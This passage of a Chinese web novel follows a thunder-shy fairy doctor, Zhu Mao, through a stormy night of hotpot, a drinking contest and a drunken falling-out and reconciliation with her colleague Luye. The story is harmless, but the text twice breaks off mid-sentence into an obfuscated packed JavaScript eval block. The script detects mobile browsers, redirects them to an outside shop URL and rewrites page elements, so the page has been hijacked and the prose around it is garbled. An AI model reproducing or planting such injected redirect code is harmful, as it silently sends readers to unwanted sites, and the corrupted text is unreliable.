“草!” 狂暴的知识洪流和熬夜通宵学习的痛苦记忆以一种粗暴的方式直接撞进了我的脑袋里。 这些知识在欺负我…… 20.番外一·雷雨夜(2) 唉。 有时候感觉自己很没出息。 这辈子好像没有干出什么特别厉害的事情。 明明去年才过了八十大寿…… 虽然对于长寿的妖精们而言,十年一次或者五年一次的生日就好像人类每年一次生日会的频率,但当时我也在生日宴会上思考了一个问题:我这辈子还能不能干点大事了? 无聊,好想搞个大新闻呐.jpg 结果想了半天,没想出来。 我这人满脑子都是吃喝玩乐与公费旅游之类的屁事。 看看隔壁的感知组组长鹿野,那家伙明明小我三十多岁,结果在十年前,也就是她自己四十岁那年成功当上感知组的头把交椅。 此人就差给手下众人封个一百零八将然后大喊什么“聚义梁山”“替天行道”之类的口号……啊,对不起,总馆感知组可能凑不够那么多人。 总之,鹿野在此后的时间里一直牢牢地占据这BOSS宝座,至今无人能及。 真是好牛逼。 这么一对比,感觉自己真的像一条没出息的咸鱼.jpg ……算了!咸鱼就咸鱼!这种日子我过得超爽!某些卷王想摸鱼还找不到机会呢! 在心里这么自我安慰一番后,我感觉舒坦多了,而那个被那些医学知识强制霸凌的光滑脑子也算是缓过劲来。 片刻后,瘫坐在草坪上的我不情不愿地翻了个身,拍打着身上的草屑与灰尘后进屋。 没办法,今晚这破天气一看就是要打雷下雨,空气闷热得要爆炸,我完全不想在这个时刻待在户外睡觉。 说出来也不怕各位笑话,在往年雷雨季的时候,我不喜欢一个人待着,往往会找个朋友——或者一群朋友——反正是轮流待着相处。 今天去张三家,明天去李四家,最好是彼此都不认识的人,否则回头这帮家伙一对口供就会发现我的弱点了。 怕打雷算是一个弱点吗? 其实先前也在雷雨天执行过几次外勤任务,好歹没出什么岔子,但我都是强忍本能恐惧地去完成工作。 所以暂时也没人看出这个问题。 除此之外,再不济就是去一些人比较多的地方吃饭,听听八卦,打发时间,反正一场雷雨就这样消磨过去了。 我掏出最近市面上流行的BB机,看着上面的数字,想着呼叫谁比较好。 思来想去,觉得还是算了。 主要是凌晨2点这个时间点实在是尴尬,但凡有空玩通宵的朋友早就有约了,没空的朋友自然是没时间,我也不愿意总是打扰别人的清静。 话说回来,目前我最想约出来的幸运朋友是鹿野——因为这个BB机就是去年的八十大寿时她送我的生日礼物。 看在礼物的份上,勉强睹物思人一下。 虽然也就思念两秒。 ……好,完事儿! 其实呢,这家伙这些年里忙得原地起飞,往往一年也见不到几次面,上次我的生日会鹿野就来了半个小时,把礼物扔给我,抓了我的两瓶茅子就跑了。 很可恶。 茅子这种夏国的国酒很贵的! 虽然不知道为什么,每年都会有某个夏国匿名人士寄一箱12瓶免费的茅子给我,一起寄来的感谢信上说什么聊表谢意、永世难忘之类的客套话。 大概是我以前治疗痊愈的哪个病人吧,太多了,记不清。 不过到头来能收到病人的礼物而不是刀片和炸弹,我还是挺开心的。 妙手回春的好医生到哪里都吃香啊。 我拿着BB机的手有点犹豫不决,因为我知道鹿野最近又去出任务了,听别人说这次任务有点难度,估计没有个把星期回不来。 所以……算了吧。 不要随意干扰出任务的人,这是基本常识。 于是我收起这巴掌大的机器,背着双手出门,打算外出找一处人声鼎沸的地方待着,打发时间度过今晚的雷雨天气。 什么?你说为什么不继续学习?疯了吧你,我不是已经让分身代替我学了一个晚上吗。 我已经非常努力和辛苦了! 做人做事都要劳逸结合,懂吧? 来到会馆的商业街处,发现整条街都非常符合我的需求:人多,热闹,八卦消息也多。 很好。 由于会馆里有很多妖精是喜欢夜间出行、白日补眠的夜猫子,因此商业街到了这个时间点依旧非常热闹。 一路沿着街散步,时不时跟遇到的一两个病人(已痊愈)和熟人打声招呼,忽然间我看见了前方不远处新开了一家火锅店,大门口两侧摆满了老板的亲朋好友们赠送的七彩花环和祝福对联。 “川蜀楼……?”我不自觉地念出来。 直接拿地名来命名?老板你有没有文化的? 可是看起来里头很多人,起码窗边的位置全部坐满,感觉生意不错。这让我又有点犹豫。 门口的拉客小二应该是一只鼠类妖精,皮肤白皙,长得很讨喜,衣着外观看着也干干净净的。 这只鼠鼠注意到我,当即热情万分地向我迎接而来:“这位客人,要不要尝尝我们川蜀楼的火锅?这三日的新开业期间,一律5折!” “全都5折?”我震惊了,立刻理解此新店生意极好的缘故。 “除去锅底8折以外,所有菜品5折大酬宾!如何,客人感兴趣吗?您要是愿意来的话,我可以做主帮您免单几个下单菜品哦!” 鼠鼠笑着回答。 “嗯……”我略微犹豫,本来打算一个人去撸串的,但一个人吃火锅的话好像也不是不行,“那就试一试吧。” 虽然感觉孤独指数有点高,但无所谓了,看在全场5折的份上,孤独算什么! “没问题!您几位?” “一位。” 听到这个人数答案的鼠鼠也不失望,笑容不变,依旧非常高兴的样子:“好嘞。贵宾一位,里头请!流芳,过来引导一下贵宾——” 后来我才知道,这只鼠鼠就是这家“川蜀楼”的老板。 姿态放那么低,还能做主免单菜品,难怪能揽客! 在跟着服务员流芳的脚步进入川蜀楼后,我意外地在一楼大堂里陆续撞见了几个熟人和朋友,看桌上的菜品剩余情况,他们多半都吃到一半了。 啧,一群夜猫子。 “诶?这不是竹医生吗,上次多亏了你,我老公才捡回一条命呀!一直想要感谢您来着……” “竹大夫,你今晚也来川蜀楼?过来一起吃啊。” “服务员小姐,麻烦加个椅子和碗筷给这位朋友,她坐我们这桌!” 这些熟人的热情客套让我有点遭不住,而且这种客套话听听就好啦,人家要是真心想邀请你吃饭,肯定也不会拖到现在见面才开口。 于是我笑呵呵地谢过他们:“不了,感谢,感谢,各位慢用。我还有朋友在里头约着呢,来日再聚。” 果不其然,听说“我有朋友约吃饭了”以后,这些人都客客气气的,不再强制邀请我加入他们的饭局。 事实上,我感觉自身隐藏的社恐症状都要发作了,火速凑到流芳耳边,询问道:“流芳小姐,有没有偏僻一点的位置?” “啊,今天是开业的第二日,店里生意特别好。很多座位都满了……客人你稍等,我帮你问问。” 流芳跟楼上的其他同事传音数秒后告诉我,最顶端的三楼最里头刚刚空出来一张四人桌,三楼相对人少一些,又是在墙边上,我要是想要躲清静可以去那儿。 于是在谢过流芳后,按照她的引导,我非常顺利地找到了这张“据说最偏僻”的四人桌,感觉此地确实相对没有那么吵闹喧哗——是的,我想要周围有点人声,但又不想被吵得头疼。 “咦,这旁边的大桌子是怎么回事?” 我看着一旁那足以容纳七八人的巨大八仙桌,没有客人围坐,倒是桌面上放了个“已预订”的小牌子。 “这是被其他客人订了的,包夜的桌子,但是好像人还没到……” 流芳说着,忽然转过身,我和她都看见另外一位服务员正带着浩浩荡荡的六七个人走上三楼来。 为首的正是臭着脸的鹿野,仿佛周围的熙熙攘攘都影响不到她惯用的这副表情。 我:? 她:? 我们二人对视数秒,都没想到在这儿会遇到对方。 感知组的其他人也很惊讶地看着我,一时间甚至忘了继续聊天,显然没想到我也会突然刷新在这家店里。 然而这毒舌女人一开口就戳我的心:“哟,一个人来?” 我也很无语:“关你什么事?而且你不是外出执行任务去了吗。” 鹿野竖起大拇指,指了指身后那群队友:“伙计们能力出众,任务提前三日结束。” “多谢老大夸奖!鹿野老大当居首功!” 感知组成员们装模作样地拱手作揖,一副与有荣焉的样子。 我暗暗倒吸一口凉气:有时候真是会被这群妖精给尬得头皮发麻。 况且一个不是很熟的朋友带着一群下属在旁边快乐恰饭,呼朋唤友,好不威风,请问我一个人在这儿干什么? 看人家吃火锅吗? 这么没意思的事情我才不干。 于是我摆摆手:“行了,你们慢慢吃,突然想起家里还有点事,先走了。” “……” 鹿野双手抱胸,也没拦我,但是因为我时刻注意她的举动,发现她突然给了个非常隐晦的眼神给其中一个下属。 喂喂,搞什么啊。 果不其然,这群人中最活泼的那小子张开双臂一下子蹦出来:“竹姐,跟我们这群老朋友客气啥啊?今晚是老大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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还好接下来的点菜环节不需要我再说什么,感知组的成员们你一言我一语地点了些各自喜欢的菜品,服务员流芳笔走龙蛇,记下全部菜品后被鹿野拿过来查看。 然后她单手递给我:“还有是什么你想吃的,随便加。” 我谨慎地双手接过这个菜牌,生怕此人又给我挖坑跳:“我看看先,谢谢鹿野老大。” 鹿野:“……” 她略显不快地抿了抿唇,低头喝茶,对面的阿德莫名其妙地突然笑得贱兮兮的,结果被鹿野瞪了一眼。 不知道是不是错觉,我觉得她被我这样叫好像不是很开心。 为啥啊,就因为我不是真的下属吗? 这官瘾程度也是服了。 ……其实也不是说有官瘾不好或者女性有野心不好,我觉得都挺好的,反正是自己选择的道路和生活嘛。 我烦的分明是——鹿野总是若无其事地爱逗我玩这件事! 刚开始大家认识的头几年鹿野明明还是个正直寡言的好姑娘啊,为什么后面就慢慢地变成以逗弄我为乐了呢?实在是想不明白。 所以这人坏得很,得小心对待。 虽然在点菜环节出了点小小的问题,但问题不大,重辣的牛油锅底和一大堆菜品很快就端上来,味道确实是新鲜地道,挑不出什么太大的毛病,属实是物美价廉。 我觉得川蜀楼会在接下来一段时间里成为我的火锅老家。 只是有个小问题,在我们吃到一半的时候,外面终于下雨,以及打雷了。 完了。刚刚被阿德他们一忽悠,居然忘了这件事! 我痛苦地闭上眼睛。 等会要怎么找托词留在这热闹火锅店里,以此熬过今晚雷雨天气的这段时间啊? 是的,别人吃完饭就能走了,我还得装模作样地待到雨停的时候! 突然,有一方手帕递给我。是鹿野的,她一手拿筷子夹菜,一手掏出自己怀里的手帕递给我。 说这话时她正好扭头看向我,脸上总算多出几分不明显的关切之情。 “油溅到眼睛里了?” 不是,这位姐妹,你这么关注我的一举一动做什么? 盛情难却,我只好接过这方散发着淡淡香味的私人手帕,假装擦了下眼睛:“啊,对的,真是太难受了。” 外面恰好又是一声惊雷,这声远比今晚的所有雷声都响亮,我听到三楼的不少食客发出“哇!”的惊呼,就连感知组的几人都扭头朝外面张望起来。 然而我的手指依旧不受控制地哆嗦了一下,差点把鹿野的手帕直接插进自己的眼眶里。 当我控制住表情并且装作无事发生地拿下敷在眼睛上的那块手帕时,却发现鹿野蹙眉盯着我,一副若有所思的样子。 ……我今晚就应该在家好好学习的!! 21.番外一·雷雨夜(3) “服务员,麻烦拿酒水菜单来!” 在那声大得吓人的惊雷之后,鹿野忽然声称自己想喝酒。 反正是老大请客,感知组的成员们都没意见,也可能平日里大家只要闲着没事又不用出任务时就会小酌一杯。 酒精对于妖精躯体的伤害远没有对人类的那么严重,所以在我认识的妖精群体里,那些天天饮酒、简直是拿酒当奶茶喝的妖精不在少数。 然而我直觉不太对劲,要不是川蜀楼外头正在下雨打雷的,非常吓人,我说不定就要找个借口开溜了。 ——鹿野这女人不会是想灌醉我,然后让我说真心话吧? 太坏了! 赶紧吃口毛肚压压惊。 服务员乐乐呵呵地跑过来报酒水菜单,众所周知,餐饮店里有很大一部分利润都是来自于这些酒水。 鹿野在听完菜单和询问了队员们几句后,决定招牌的不同酒水每样都先来一壶先。 性子活泼的阿德倒是忍不住擦了擦头上的汗:“鹿野老大,您这一通下单,有黄酒有白酒,还有高卢进口的红葡萄酒和别的洋酒……喝这么串,万一等会喝趴了怎么办?” “那你别喝。”鹿野没好气地说,“我自己尽兴,你们随意就行。” 阿德这小子脸上的笑容慢慢消失了,他变得可怜兮兮,求助地看向我。 不是,你看我干什么?就算挤出狗狗眼卖萌,我也不会帮你这个小混蛋挡酒的! 这么想着,我慢悠悠地抿了一口店家提供的下火凉茶。 “竹茂。”鹿野忽然叫我的名字,我看向她,那双漂亮而沉静的蓝眼睛里酝酿着某种我无法理解的情绪,“我们过去好像也没多少机会小酌几杯,今晚你能喝吗?” ……我明白了!我看懂她眼睛里是什么感情了! 是战意! 好哇,她在挑衅我! 鹿野这个坏家伙,居然在挑衅我? 论起建功立业这件事我可能没什么底气,但说到吃喝玩乐——【苍南会馆】里谁也不许小看我! “当然。”我露出了一个皮笑肉不笑的虚假笑容,“我的酒量算是及格。但如果今晚被你喝趴下了,我就跟你姓。” 鹿野挑眉,露出一看就是非常刻意的惊讶神情:“哦?这可是你说的。大伙儿都听到了吧?” “听到了!竹姐想跟老大姓!天哪!这就是传说中的喜酒吗?!”这些家伙简直是开始提前弹冠相庆了。 我咳嗽两声:“喂,胜负还没分出来,说话不要断章取义啊——” 但是以阿德为首的吃瓜群众自然是唯恐天下不乱,无视我的澄清发言,高高兴兴地两头撺掇起来。 面对这样乱七八糟的场面,鹿野居然也不制止,反而面带笑容地看着这帮沙雕下属。 啧,这人真是御下有方啊。(恼) 恰好服务员推着载满各类酒水器皿和不同杯具的小车赶过来,我们这一桌人就这么一边撸起袖子,吆喝着玩行酒令,一边大肆开喝畅饮。 一个时辰后。 “我、我不行……呜呜……不行了……鹿野组长……对不起呜……” 当这群人中最后一个大只佬“哐!”的一声滚下长凳,满身酒气地躺在火锅店地板上呼呼大睡,我才意犹未尽地放下手中空空如也的瓶子。 松开手,它掉在了地板上,和它的同类空瓶们堆满一地。 我说话的音量也不受控制地比平时稍微大了一点。 “诶?都不行了吗!这就不行了?起来啊,阿德,大文,彩彩,阿斌……不行啊,你们都不行,那么多人都喝不过我一个吗?太菜啦!回去多练!哈哈哈哈!” 然后我眯起眼睛,略带醉意地看向最后一个尚且保持理智和清醒的人。 “怎么样?给个评价。”我问她。 “你的酒量比我想象中还要厉害。”鹿野语气平和地说,目光颇为探究,“怎么练出来的?” 对啊,怎么练的? 我挠了挠脑袋,感觉浑身上下从头到尾都散发着一股火锅料和酒精的气息,好想洗头啊…… 然后我隐约想起来了。 在那个梦里,在那些癫狂杀戮的混乱梦境里,似乎也曾有过为了救人而喝酒的经历。 那大概是一个赌斗,敌人好像是一只擅长酿酒的妖精,它找上了“我”,非要我和它比试一番。 “我”当然是拒绝了这么无聊的赌斗,然而它恼羞成怒,直接绑架了“我”当时居住地的全村无辜百姓,非要逼着“我”坐上那比试的台前。 只有喝赢了它,它才会放人。 没有办法。“我”没有办法。 梦里的“我”兴许在那三天三夜里喝够了一辈子的酒水,甚至喝到七窍流血、内脏破裂的程度,才勉强把这家伙喝出了一点破绽—— 然后,“我”完成了这场比斗,让它的能力彻底失效,从而救出了那群凡人。 虽然事后“我”也把这疯子妖精给撕得稀巴烂,但是那些凡人获救后反而太害怕恐惧“我”了,于是“我”再次背上行囊,踏上了新的流浪…… “在梦里。”我非常诚恳地告诉鹿野,“我在梦里练的。” “喝得酩酊大醉,不知天高地厚。那个古代诗人怎么说来着?飞光,飞光,劝尔一杯酒,来煎人寿——梦里只想着再喝一杯,我再喝一杯……” 接下来我突然就不再说话,而是坐在长凳上沉重地喘气。 梦境里那种真实无比的痛苦如潮水般涌来,哪怕现实中的酒精也不能遏制它们分毫。 “然后呢?”鹿野的声音在混乱吵嚷的店里如冷静的泉水,让我稍微清醒了点。 我垂着脑袋,用力甩了甩,下一秒毫无征兆地双手叉腰并且站起来哈哈大笑:“然后我就赢了!那草菅人命的混蛋还想喝赢我?做梦去吧!” 鹿野抬头看了我好一会儿,最终无奈地摇摇头:“竹茂,你醉了。” “胡说。”我格外生气地瞪着她,她居然不相信我的梦,“我……我没醉!” “对我说话都那么大声,跟吼叫一样,可不像平日里的你。” 鹿野一边说着一边定定地盯着我的脸看,我感觉血液不受控制地冲到脸上,大概是脸红了。 鹿野这么一说,我突然被某种巨大的悲伤所缠绕。 因为我知道她说得是对的,她其实也不是那么了解我,就好像我并不是真的跟鹿野很熟——除去工作方面的交际,现实生活中几乎很少有太多往来。 “鹿野,你不了解我,我也不了解你。”我颓然地坐下,用双臂撑在大腿上低头叹气,几乎要落下泪来,“我们这样——算什么真朋友?” 其实我这么说,并不是想要指责她,我只是心里太痛苦了,我必须要做点什么才能让自己缓过劲来。 虽然我总是暗戳戳地腹诽和吐槽鹿野,但我知道她为人温柔又细心,在百忙之中还能记得我的生日,抽空过来就为了送个小礼物(顺便薅走我的两瓶茅子)…… 但我没办法。 有时候,我依旧恍惚地感觉自己仍然坐在梦境里的那个涉及几十条人命的赌酒台前,喝得满脸鲜血直流,喝得浑身冷汗直冒。 我在现实里救了很多人,在梦境里也许杀过很多人。 我认识的熟人和病人很多,可是我没办法有什么真正交心的朋友。 ——这是我的性格缺陷,也是我不知该如何解决的伤痕所在,纵使人生已经过去了八十年,我依然会对这世间的一切人和事都保持着若有若无的警戒和疏远。 “……” 鹿野似乎也沉默了,只有稍显沉重的呼吸声从她所在的位置方向传来,她也在承担着那源自于我,本不该属于她的一部分痛苦吗? ——对不起呀。 旋即我又听见附近食客们的欢笑声传来……好啊,好啊,大家都在笑,日子是那么快活,和平真好。 战争就好像一场永远无法醒来的噩梦。 人类打仗,谁赢谁输,跟我一个小小的草木妖精有什么关系。 我喝了那么多酒,练到有朝一日可以轻易把大部分妖精都喝趴下,又有什么用呢? 到头来,救得了别人,救不了自己。 外面骤然有一道闪电划过夜幕,照亮了大半个会馆,想来也是照得我的脸色颇为惨白才对,不然鹿野也不会露出那副愣神的表情。 轰隆! 紧随其后的雷声大作。 “就这样吧,我们之间到这里就可以了。”我歪歪扭扭地站起来,对她挤出一个礼节性的笑容,“不好意思,明明是你请客,反倒是让你扫兴了。” 鹿野略微摇头,蓝眼睛直勾勾地盯着我,一时间没有说话。 我不知道她这个动作是觉得“我没有扫兴”,还是“不接受我的道歉”? 无所谓,反正大家以后也算不上朋友了。 闹成这个样子,真丢脸。 我故做潇洒地朝她摆摆手,示意不用送,然后翻身跳出三楼的围栏,准备冒着雨离去—— “呃啊啊!” 脚踝一紧,我只感觉天旋地转,整个人被吊在了半空中。 瓢泼大的雨点打过来,砸得我都快睁不开眼睛,我火气上涌,勉强抬头去看,依稀看清楚一侧的脚踝上被系了一条几不可见的随身金属丝线。 “鹿野!”我气得嗷嗷大吼。 这个混蛋把我在暴雨里吊起来了!她是什么魔鬼吗? 出乎我预料的是,此刻她并没有安然地坐在川蜀楼那遮风避雨的建筑里头看戏,而是不知何时悄然出现在我面前的二楼屋檐边缘,跟倒吊在三楼屋檐边缘的我保持了相互平视的视线。 “清醒点了吗?”她冷冷地说。 清醒,太清醒了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199785|194830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我简直要放弃挣扎了,被酒精所鼓舞的一腔勇气长时间暴露在这样规模的雷雨中,实在是吓得够呛。 “鹿野你到底要干嘛?饶了我吧,咱们就算当不成朋友,我也不是你的敌人啊,看在当年给你没少治外伤的份上……” “闭嘴。废话真多。”鹿野没好气地说道,“竹茂,跟你挑明说了,我的朋友不多,你算一个。” “所以不许随随便便讲那种要绝交的话。” 她的眉头深深地皱起来。 “不然的话,我会非常,非常生气的。” 我挣扎的动作停住了,呆呆地看着她,过载的CPU脑子无法运转。 “为啥拿我当朋友看啊?”我问道,“我又没你强。” “……” 鹿野看起来超级无语的样子,大雨同样冲刷在她的头上和身上,把她额前的刘海打湿了黏在面颊上。 有点狼狈。跟醉酒发疯还被吊在半空的我一样狼狈。我想。 “竹茂你这个木头脑子,交朋友是用战斗力来评价的吗!那是靶子!”她终于也发火了,用手指狠狠地戳着我的脑门,把我在半空中推来推去的。 我忍不住哈哈大笑起来,但是没笑两口就被雨水给呛到了,很尴尬地开始咳嗽。 鹿野又叹气了,这回我听得清清楚楚的,哪怕风雨声都遮掩不住。 “我怎么会认识你这种怪人朋友?” 她操控金属细线把我放下来,随后我这样直直地躺在二楼屋檐的砖瓦上喘气,被雨水淋得像一只落汤鸡,可我还是觉得今晚的事情很搞笑。 搞笑之余,竟然又有点意外的安心。 “嘿!”二楼一桌客人探头出来,调侃我,“这里不让躺着!” 鹿野的脸色当时就黑了,扭头盯着那同样有几分醉意的家伙:“少管闲事。” 我知道她是为了我出头,所以我不会说什么“算了算了别跟人计较”。我的选择是跳起来,踩着屋檐砖瓦猛地冲过去,抡起了拳头—— 那个家伙吓得脸都白了。 但我的拳头猛地定在距离他鼻尖也就几厘米的地方,然后冲着这哥们笑了一下:“兄弟,想不想知道是我的拳骨硬,还是你的鼻梁骨硬?” “你有病吧!” 那人有点被吓到了,色厉内荏地骂了我一句。他的朋友赶忙把窗户关上,关窗之前还对我赔笑着,生怕我一拳打破窗户、打坏他朋友的鼻子。 说实话,我也怕……因为酒后斗殴而赔钱给川蜀楼真的太亏了,并且还要去会馆的法务部门自己领罚,实在是很不划算的事情。 背着双手的鹿野凑过来,用手肘捅了捅我的肋骨,语气带着点捉摸不透的笑意:“玩够了?” “嗯啊。”我点头道,感觉脑子还是有点昏昏沉沉的。 于是这个白发的妖精对我说:“好了,我送你回去。” “不用!”我坚决拒绝这种被人护送的行为,显得我好像喝醉了一样,“我自己可以回!妥妥的,一定不会摸错门!” 鹿野:“……” 鹿野:“不行,我还是不放心。” 她忽然伸出手臂勾住我的肩膀,把本就站得不是很稳的我往她怀里一带,没等我反应过来,就搂着我跳下了二楼。 哇,真贴心,还有滴滴代跳服务呢? 但到了地面以后,鹿野还是没有松开勾住我肩膀的这只手,她平静的表情就好像忘了这件事。 咦,她想装傻? 我才不会惯着别人,索性同样伸出另一侧的手揽住了她精瘦有力的腰身,往我这边一拽。 ——鹿野显然没想到我会这样“偷袭”,以至于整个人猛地僵硬了。她相当震惊地扭头看向我,眼睛都睁大了几分。 看什么看,没看过酒蒙子吗? 我的工作是医生,平日里各种病人的身体没少摸,帮人正骨、调整肌肉力线也是常有之事,如今一上手就知道结果。 长年勤学苦练的锻炼结果为鹿野带来了强韧有力的竖直肌,也就是脊椎两侧的深层肌肉,非常强壮,非常有力! “太美了……”我毫不掩饰自己的感慨,“我摸到了,隔着衣服也清清楚楚,多棒的竖直肌啊!你的身体核心一定能收得紧!” “啊?” “啊什么啊,后面有力,前面就有力,人形躯体的设定就是这样,人体的力线全部是连通的——腹肌和马甲线也是这样练出来的!” “……其实我都有。”鹿野凑在我耳边小声地说。 干嘛突然说悄悄话?这种医学知识也不是什么隐秘啊。 不懂。 于是我也悄悄地对她说:“其实这个还要看体脂率,体脂率够低才能看得清楚。” 有那么一瞬间,鹿野看起来很想吐槽点什么。 但她最后只是哑然失笑,然后摸了摸我的脑袋。 22.番外一·雷雨夜(4) “呼……” 手中的茶杯传来了令人安心的热意,我轻轻吹着杯子里的热气,并试图透过它去看穿坐在对面沙发上的人。 “说起来,我有个问题。”我开口。 鹿野一边用毛巾擦拭刚洗完的白色长发,一边回答:“你说。” “不是说好送我回家吗?”我指着周围这个看起来颇为陌生的别人家客厅,“——为什么最后跑到你家来了!” 鹿野面无表情地抬起头,用看傻子一样的眼神看着我:“你摸摸自己的钥匙还在不在。” “诶?”我一摸口袋,果然空空如也,大惊失色,“鹿野你偷我家钥匙?” “有病。” 这个已经洗漱完并换上一身深色真丝睡衣的白发女人没好气地冷哼一声:“我要是想进你家,还用不着钥匙。” 草,这个人在说什么违法犯罪的台词,这就是总馆感知组组长的实力吗?好吓人。 “我警告你竹茂,少在那里摆出一副已经被我谋财害命了的表情。”满脸不耐烦的鹿野不知从哪儿摸出了我家大门的钥匙,狠狠地扔给了我,“明明刚才是你抱着路边的电线杆不肯撒手,说什么不想一个人回家待着。不然你以为我愿意把你带回来吗?” 嗯?我说过这种话吗? 我一把抓过半空中的钥匙,另一只手则是稳稳地端着茶杯,陷入沉思,感觉好像有,又好像没有。 谁知道呢,一个酒蒙子什么屁事都干得出来。 刚刚走在半路还有点醉醺醺的,甚至都不知道自己是怎么一路飘过来的。 毕竟今晚是雷雨天气,我不想一个人独处也是理所当然的事情……就算召唤出了草木分身,那家伙也会在下一秒自行解除能力钻回去。 分身根本不想在我们都最害怕的天气里,还要跟我这个本体单独相处。 唉,垃圾分身。 “行了,快点喝两口热茶,然后去洗澡。别把我的沙发都搞得脏兮兮的。” 鹿野走过来并用冰冷的语言打断了我的慎重思考过程,只见她手里不知何时多了一个牛皮纸袋包装的物品,递给我。 虽然这人的话听起来是很无情,但对于我进门后就一直呆呆地坐在这张进口沙发上醒酒的行为,鹿野也没说什么,更没有驱赶我去坐别的小板凳。 “这是什么?”我疑惑地问,“‘六味斋’新出的点心?” “点心?我看你确实是需要长点心了!” 鹿野没好气地抡起牛皮纸袋“啪”地一下拍在我头上,我吓得一缩脖子,但很快发现不疼,软软的。 这个站在我面前的白发女人居高临下地俯视着我,语气透着明显不爽的意味:“新的睡衣,我的身高尺寸应该跟你差不多,你看起来还比我消瘦一点。上个月请江南会馆里手艺最好的那家裁缝铺做的,还没穿过,真是便宜你了。” 我以一种恭敬的心情,伸出双手接过牛皮纸袋的同时倒吸一口凉气:“难道我还能带走这套衣服?” “……不然呢。”她皱着眉头转过身去,留给我一个忍痛割爱的背影,“我不会允许自家的衣柜里出现别人的衣服。” 可能别人听到这话会觉得有些被冒犯到,但我知道鹿野这人有点奇怪的精神洁癖,还很讨厌跟其他人保持长时间的肢体接触——等等,刚才这一路走过来,我是不是跟这人勾肩搭背很久来着? 鹿野当时怎么没嫌弃我啊?难道是这人自己都忘了这个设定? “哦,好吧,感激不尽。”想不太明白的我抓着牛皮纸袋摇摇晃晃地站起来,感觉坐久了导致眼前一阵发黑,但还是坚持自行朝着最近的那个房间门走去,“那我去洗澡了……啊啊啊啊救命!” “竹茂!浴室是旁边的那个房间!这边是楼梯——” 可惜她还是说迟了一步,因为我已经一脚踩空并且猝不及防地在黑暗中滚下了房间内的那道楼梯。 当十几秒后,鹿野一脸无奈地打开楼梯间的灯找到我时,我已经生无可恋地瘫在地上了。 周围是一桶桶的橡木桶和安装有当今市面最新的冷藏酒柜,它们影影绰绰地在嘲笑我的笨拙。 好想跟这些看不起人的橡木桶吵架啊,可恶。 ——很显然,这是鹿野家里藏酒的地窖。 我扭头看向站在楼梯口眉头直皱的鹿野,不知为何脖颈传来了惊人的剧痛,我只好努力地笑了一下:“你就在这里‘金屋藏娇’呢?” “都什么时候了还在说这种俏皮话。”鹿野一下子跳下这十来个阶梯的楼梯,单膝跪在我面前,伸手小心地把我搀扶起来,“竹茂,你的脖子……好像有点奇怪?” “什么?”我也惊了,抬手摸了一下自己脖子那皮肤下的异样凸起和变形,“哦,脊椎摔断了!” 难怪刚才脖子以下的感知神经都突然就断了联系,搞得我只好在心脏附近临时搭建了一个紧急神经中枢来操控自己的身体动起来。 吓死我了,还以为是今晚喝多了酒导致神经中毒了。 鹿野:“……” 她看起来被震撼得有点瞠目结舌。 我想要左右张望一下附近有没有镜子,但藏酒地窖里怎么会有这种东西?更何况我脖子太疼了,哪怕有心脏临时神经中枢顶着都不太给力,实在是办不到“左右张望”这件平日里的小事。 然后我发现有个镜子的“平替”就在面前。 于是我伸出手,大大方方地一把捧住鹿野的脸,把她往我这个方向拉——“等等,竹茂你在做什么?” 鹿野在惊慌之下以至于双手都抬起来了,但是又不知道下一步该做什么,只好很僵硬地半跪在我面前,双手高举跟投降似的,伸着脑袋任由我摆弄地窖的灯光光线倒映的角度。 “哎呀,不要大惊小怪的,你的眼睛借我用一下,当镜子用用,我看一下自己脖子的方位就好。” “…………” 其实修复这种区区残疾致命伤对我来说是非常容易的事情,从头到尾花费了也就半分钟左右吧,我一直保持着“照镜子”的动作,借着鹿野的蓝眼睛里倒映出的自己模样,认真调整和修复。 “好了!搞定!” 我高兴地活动起恢复如初的脖子,确认完全没后遗症后突然注意到近在咫尺的鹿野居然在短短的半分钟里就额头冒汗,而且耳朵还红了…… 她这么关心我的伤势吗?紧张到自己都体温上升了。 真是让我有点意外。 看在鹿野好心地帮忙客串镜子的份上,我还是亲切地关心了一下她:“是不是长袖睡衣太热了?这下雨天的闷热夜晚当然要穿短袖啊。” “我房间里装了空调……”鹿野低垂着脑袋站起来,不知为何,我感受到她身上有股无名的怒气在积蓄,“竹茂,你确定自己完全康复了是吧?” “对!”我得意地一拍胸口,为自己的妙手回春水平而矜持自得,“健健康康,毫无问题!” “那我就放心了。” 下一秒,鹿野咬着牙,一脸狞笑着给了我肚子的横膈膜位置一拳。 “嗷呜!” 我捂着肚子倒下。灵魂都要被打出来了。 横膈膜这个部位被骤然击中不会留下太多伤势,但会很难受,一时间连呼吸都喘不过来。 我一度甚至看了自己的奶奶在奈何桥对面朝我亲切招手……等等,我是个妖精,根本没有任何亲属啊? 这位奶奶你又是谁啊! 等我好不容易从濒死的幻觉中挣扎着清醒过来,发现鹿野已经怒气冲冲地捏着拳头走了,不过楼梯间的电灯倒是给我留着。 好残暴的女人……为什么二话不说就突然开始打我? 就因为我的医术高明,她心生嫉妒了吗!可恶啊!! ——我悲愤地感觉自己刚才差点就散灵了。 “你还要在我的酒窖里磨蹭到什么时候?”楼梯间上方飘来一句冷冷的恶语。 太坏了,太坏了,鹿野属实是带恶人。 我一边腹诽着,一边捂住依旧隐隐发痛的肚子,抓着牛皮纸袋重新爬回楼上去。 “来了来了,别催嘛。刚刚被鹿野你一拳打得差点去见明王大人了。” “那也是你活该。”鹿野冷酷地回答。 我:?
